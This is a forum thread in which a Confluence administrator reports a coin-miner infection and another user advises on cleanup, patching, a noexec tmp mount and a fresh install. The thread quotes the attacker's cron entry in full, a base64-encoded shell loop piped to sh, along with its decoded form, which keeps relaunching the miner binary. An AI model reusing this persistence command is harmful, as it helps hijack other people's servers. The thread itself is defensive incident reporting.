high cpu load, due to unkown app run by confluence

[Masaru Suzuoki]

Hi

last Feb 15, 2020 up to now. we have observed that our CPU is throttling due to an unknown app running in background. as per checking via top and ps commands the app are run by confluence user. furthermore it seems that it runs a binary app which is located "/opt/atlassian/confluence/temp" and is run via cron job "/var/spool/cron/confluence"

============ inside the confluence cron job file ============
* * * * * echo -n "KCB3aGlsZSA6IDsgZG8gc2xlZXAgNSA7IGlmICEga2lsbCAtMCA3OTQyID4vZGV2L251bGwgMj4mMSA7IHRoZW4gL29wdC9hdGxhc3NpYW4vY29uZmx1ZW5jZS90ZW1wL2t5Y2JmbyA+L2Rldi9udWxsIDI+JjEgOyBmaSA7IGRvbmUgKSAmIHBpZD0kISA7IChzbGVlcCAxMCAmJiBraWxsIC05ICRwaWQpICY=" | base64 -d | sh >/dev/null 2>&1

============ after decoding the the string via base64 ============
( while : ; do sleep 5 ; if ! kill -0 7942 >/dev/null 2>&1 ; then /opt/atlassian/confluence/temp/kycbfo >/dev/null 2>&1 ; fi ; done ) & pid=$! ; (sleep 10 && kill -9 $pid) &

mitigating it by killing the process wont do much as it will run another process again.
disabling the /tmp folder and killing the process seems work. but after enabling the /tmp folder again. the unknown app will run again. 

but by totally changing the folder name of atlassian to
/opt/atlass_IAN/conflue_NCE and same to with /var/atllas_IAN
does the trick to mitigate the problem. it totally stops the apps which throttle the CPU usage. the only thing is it the confluence will no longer work. but for other application running on the server, will no longer be affected of slow down. 

we had the same issue, i think 3 to 4 years ago, with almost the same scenario.
but that case is due to cpu miner. i believe this is somewhat the same, a possible cpu miner too. but probably a newer strain of malware.

i think the difference is, before the malware we got is somehow easy to trace as you can read the code where in it gets the script souce to a pastebin url. now its different as the "kycbfo" is ELF binary cannot check where it pulls script.

tried to check in the internet but did not find anything which is related to our scenario. used this keyword to check "base64 + crypto miner + confluence" but did not find any. so maybe its a new strain of malware.

if you need the ELF binary i can send it to you. so you can check it too. 

hope you can reply anytime soon. as we need fix/patch to our server.

thank you

[Jeffrey Poulin · Accepted solution]

Kill the app and the shell it's running from & check your crontabs. Also upgrade to the latest version of confluence. Lastly, you could use a specific mount point for tmp and set the noexec flag to prevent these types of problems in the future (though if you keep confluence patched, this shouldn't be an issue).

[Masaru Suzuoki]

Hi Jeffrey,

yes i was able to kill the unknown app which is run by the confluence user.
by changing the folder name of atlassian from /opt and /var and force killing it.

just wondering if this is a newer malware, it seems i cannot find anything
related to my scenario yet. if this is the same as the older issue yes most likely i will
upgrade to the latest version as this will fix the issue.

just want to know more about the ELF binary file which is run by the confluence user. if this is safe or this could break things (not really sure).

before i return the confluence service up, just need to know more about it

for the confluence tmp folder yes, i will change it. and apply noexec flag.

thanks 

[Jeffrey Poulin]

Try uploading the binary to virustotal.com. It'll probably recognize it as a cryptominer.

[Masaru Suzuoki]

tried using the virus total, and yes it looks like a coin miner malware.
proably new variant as only the eset nod32 can identify it yet

https://imgur.com/a/JLQGp73

most probably not yet been checked by atlassian confluence yet, what do you think?

thanks

[Jeffrey Poulin]

Probably a new variant (or at least something with a new signature). Hopefully it didn't change/damage any confluence data or binary files. However, even if you identify the malware and clean it up, you're still vulnerable to reinfection. If it were me, I would make it a priority to update Confluence. Even better would be to start over with a fresh VM (if running on a VM) and new installation. The postmortem on the old VM can always be done later. :-)

[Masaru Suzuoki]

yes, it might be better to do a fresh install. good thing is i have the backup data from last week. i'm also preparing a test environment to see what backed is clean to restore to production. since the confluence is not so actively use, i still have time to research and check for fix in the internet. hopefully before the creative team use it its up and running already that time.

i hope also someone from atlassian verifies this too. it would be great also if they share something to clarify about this miner.

again thanks for your help Jeffrey

[Jeffrey Poulin]

No problem and good luck! You didn't mention which version of Confluence you're running, but if it's 6.x, it's likely a known vulnerability. You can check the CVE database here: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=atlassian+confluence